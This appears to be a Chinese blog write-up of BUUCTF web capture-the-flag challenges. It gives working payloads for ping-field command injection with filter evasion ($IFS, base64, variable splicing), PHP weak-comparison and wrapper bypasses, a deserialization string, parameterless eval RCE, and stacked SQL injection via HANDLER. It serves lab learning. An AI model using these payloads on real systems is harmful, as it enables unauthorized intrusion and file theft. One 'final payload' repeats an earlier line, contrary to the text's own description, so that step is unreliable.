Fork me on GitHub

BUUCTF WEB-WP(3)

BUUCTF WEB

  • 几道web做题的记录

[ACTF2020 新生赛]Exec

知识点:exec命令执行

  • 这题最早是在一个叫中学生CTF平台上看到的类似,比这题稍微要复杂一些,多了一些限制(看看大佬中学时就开始学技术了,自己当时还在和泥巴( ̄ε(# ̄)☆╰╮o( ̄皿 ̄///))
  • 言归正传,这题其实就是一个exec的命令执行,直接ip & cmd就可以执行多条命令,这里由于什么过滤都没有,所以直接127.0.0.1 & ls /先遍历一下根目录,发现flag,然后直接127.0.0.1 & cat /flag即可
    WEB

[ACTF2020 新生赛]BackupFile

知识点:PHP弱类型,备份文件

  • 首先提示要去找源码,所以尝试找备份文件/index.php.bak,遂发现源码
<?php
include_once "flag.php";

if(isset($_GET['key'])) {
    $key = $_GET['key'];
    if(!is_numeric($key)) {
        exit("Just num!");
    }
    $key = intval($key);
    $str = "123ffwsfwefwf24r2f32ir23jrw923rskfjwtsw54w3";
    if($key == $str) {
        echo $flag;
    }
}
else {
    echo "Try to find out source file!";
}
  • 这里要求首先要设置GET传一个参数key,并且key要是数字,最后判断key == str就返回flag,我们可以发现这里的比较是用的==也就是弱类型比较,它在处理数字和字符串的时候,会先进行类型转化后在比较,也就是说对于一个string会被转成int,而且若这里的string是一个数字字母的组合,且以数字开头的,在转换时会把数字后的字符去除,也就是说这里的str会直接被当成123处理,所以我们只要给key赋值为123即可
    WEB

[GXYCTF2019]Ping Ping Ping

知识点:命令执行变量拼接,内联执行

  • 这题和第一个类似,都是exec的多语句执行,不过这题的过滤就有点多了
  • 首先还是尝试直接ip之后加上ls查看,发现有index.php flag.php两个文件
  • 在尝试读取flag时发现其中flag还有空格以及/都被过滤,所以尝试读取index.php发现源码
/?ip=
|\'|\"|\\|\(|\)|\[|\]|\{|\}/", $ip, $match)){
    echo preg_match("/\&|\/|\?|\*|\<|[\x{00}-\x{20}]|\>|\'|\"|\\|\(|\)|\[|\]|\{|\}/", $ip, $match);
    die("fxck your symbol!");
  } else if(preg_match("/ /", $ip)){
    die("fxck your space!");
  } else if(preg_match("/bash/", $ip)){
    die("fxck your bash!");
  } else if(preg_match("/.*f.*l.*a.*g.*/", $ip)){
    die("fxck your flag!");
  }
  $a = shell_exec("ping -c 4 ".$ip);
  echo "
";
  print_r($a);
}
?>
  • 这里不仅过滤了那三样,还限制不允许使用bash,对于这个我们可以尝试使用sh也可以同样进行操作
  • 对于空格被过滤,我们可以尝试使用$IFS$1或者分号代替
  • 对于flag的过滤,我们可以先对其base64编码后在读取,所以最终课构造payload如下
/?ip=127.0.0.1;cat$IFS$9`echo$IFS$9ZmxhZy5waHA=|base64$IFS$9-d`
  • 此外还可以尝试变量拼接读取
/?ip=127.0.0.1;a=ag;b=fl;cat$IFS$1$b$a.php

WEB

[ZJCTF 2019]NiZhuanSiWei

知识点: data伪协议,php反序列化,文件包含读取文件内容

  • 直接给出了源码
<?php  
$text = $_GET["text"];
$file = $_GET["file"];
$password = $_GET["password"];
if(isset($text)&&(file_get_contents($text,'r')==="welcome to the zjctf")){
    echo "<br><h1>".file_get_contents($text,'r')."</h1></br>";
    if(preg_match("/flag/",$file)){
        echo "Not now!";
        exit(); 
    }else{
        include($file);  //useless.php
        $password = unserialize($password);
        echo $password;
    }
}
else{
    highlight_file(__FILE__);
}
?>
  • 第一层:if(isset($text)&&(file_get_contents($text,'r')==="welcome to the zjctf")),这里要绕过file_get_contents()函数要使text内容是welcome to the zjctf,在前不久的MRCTF的套娃一题中见到过,需要用data://伪协议绕过
  • 所以text=data://text/plain,welcome to the zjctf
  • 第二层:要使用file读取文件,但是不能直接读取flag.php,这里他给出了useless.php的提示,所以我们尝试读取他的内容(ps.PHP文件内容无法直接读取,所以我们要使用php://filter伪协议来读取)
  • 所以file=php://filter/read=convert.base64-encode/resource=useless.php,读取到源码如下:
<?php  
class Flag{  //flag.php  
    public $file;  
    public function __tostring(){  
        if(isset($this->file)){  
            echo file_get_contents($this->file); 
            echo "<br>";
        return ("U R SO CLOSE !///COME ON PLZ");
        }  
    }  
}  
?>  
  • 第三层:$password = unserialize($password);,设置了一个password,涉及到反序列化,我们看到useless.php中的源码显示会直接读取file中内容,所以直接给file赋值flag.php,即可得到最终flag
<?php  
class Flag{  //flag.php  
    public $file=flag.php;  
    public function __tostring(){  
        if(isset($this->file)){  
            echo file_get_contents($this->file); 
            echo "<br>";
        return ("U R SO CLOSE !///COME ON PLZ");
        }  
    }  
}  
$a=new Flag();
echo serialize($a);
?>  
O:4:"Flag":1:{s:4:"file";s:8:"flag.php";}  
  • 所以password=O:4:"Flag":1:{s:4:"file";s:8:"flag.php";}
  • 最终payload:?text=data://text/plain,welcome to the zjctf&file=useless.php&password=O:4:"Flag":1:{s:4:"file";s:8:"flag.php";}
    WEB

[极客大挑战 2019]BuyFlag

知识点:php弱类型,科学记数法

  • 发现提示说要是Cuiter才可以pay,遂查看cookie,发现value0,尝试改为1,提示要输入密码
  • 打开pay.php页面查看源码
<!--
	~~~post money and password~~~
if (isset($_POST['password'])) {
	$password = $_POST['password'];
	if (is_numeric($password)) {
		echo "password can't be number</br>";
	}elseif ($password == 404) {
		echo "Password Right!</br>";
	}
}
-->
  • 发现password这里首先要使其不为数字,而后又要其等于404,并且这里的比较是==,显然是弱类型,所以考虑使用字符串绕过,password=404asd
  • 发现要求设置money,于是考虑money=100000000,却发现提示长度超出,遂考虑使用科学记数法,money=1e10,获得flag
    WEB

[GXYCTF2019]禁止套娃

知识点:无参数RCE,git源码泄露

  • githack下载源码
    python GitHack.py http://eb80dbe4-c6d9-47d5-8f5d-7ab84b47173b.node3.buuoj.cn/.git
  • 源码如下:
<?php
include "flag.php";
echo "flag在哪里呢?<br>";
if(isset($_GET['exp'])){
    if (!preg_match('/data:\/\/|filter:\/\/|php:\/\/|phar:\/\//i', $_GET['exp'])) {
        if(';' === preg_replace('/[a-z,_]+\((?R)?\)/', NULL, $_GET['exp'])) {
            if (!preg_match('/et|na|info|dec|bin|hex|oct|pi|log/i', $_GET['exp'])) {
                // echo $_GET['exp'];
                @eval($_GET['exp']);
            }
            else{
                die("还差一点哦!");
            }
        }
        else{
            die("再好好想想!");
        }
    }
    else{
        die("还想读flag,臭弟弟!");
    }
}
// highlight_file(__FILE__);
?>
  • 设置要GET一个exp并且要以分号结尾,无法使用一些常用的伪协议读取文件,并且还禁用了一些常用函数
  • 我们这里首先还是要尝试遍历一下目录,查看一下flag文件的位置
  • 这里并未禁用scandir()函数,所以我们要尝试去构造scandir('.')来遍历一下目录,这里参考了一下网上WP,发现可以使用current(localeconv())函数
  • current()函数作用是返回数组中的当前元素的值,默认返回第一个,而localeconv()函数作用是返回包含本地数字及货币格式信息的数组,第一项就是'.'
    Buu
  • 这样我们就完成第一步,可以查看到目录文件信息
    ?exp=print_r(scandir(current(localeconv())));
    Buu
  • 发现flag.php文件,接下我们就要尝试去读取它的文件内容,这里由于flag.php是倒数第二个元素,如何才能读取到倒数第二个呢?我们可以尝试用array_reverse()函数先将数组倒置,这样flag.php就成了第二个元素,然后再使用next()函数指向首个的下一个,就完成指向flag.php
    ?exp=print_r(next(array_reverse(scandir(current(localeconv())))));
    Buu
  • 最后就是直接用readfile()函数读取文件内容即可,最终payload如下
    ?exp=print_r(next(array_reverse(scandir(current(localeconv())))));
    Buu
  • 看网上还有师傅使用array_filp()先交换键值,然后使用array_rand()随机返回元素,读取flag,学到新姿势,记录一下,payload如下
    ?exp=print_r(array_rand(array_flip(scandir(current(localeconv())))));

[GYCTF2020]Blacklist

handler查询,堆叠注入

  • 和强网杯的那个随便注类似,首先尝试查看表1';show tables;#
    Buu
  • 看到字段FlagHere,尝试读取其内容,这里用到了一个handler代替select查询,详细内容可以看一下这篇文章
    https://xz.aliyun.com/t/7169#toc-47
  • 大致介绍一下要用到的语句
  • handler FlagHere open as f; 重命名FlagHere数据表为f
  • handler f read first; 读取f的首行字段
  • handler f close; 关闭句柄
  • 所以最终使用堆叠注入构造payload
    1';handler FlagHere open as f;handler f read first;handler f close;#
    Buu
posted @ 2020-05-17 22:02  Konmu  阅读(472)  评论(0编辑  收藏  举报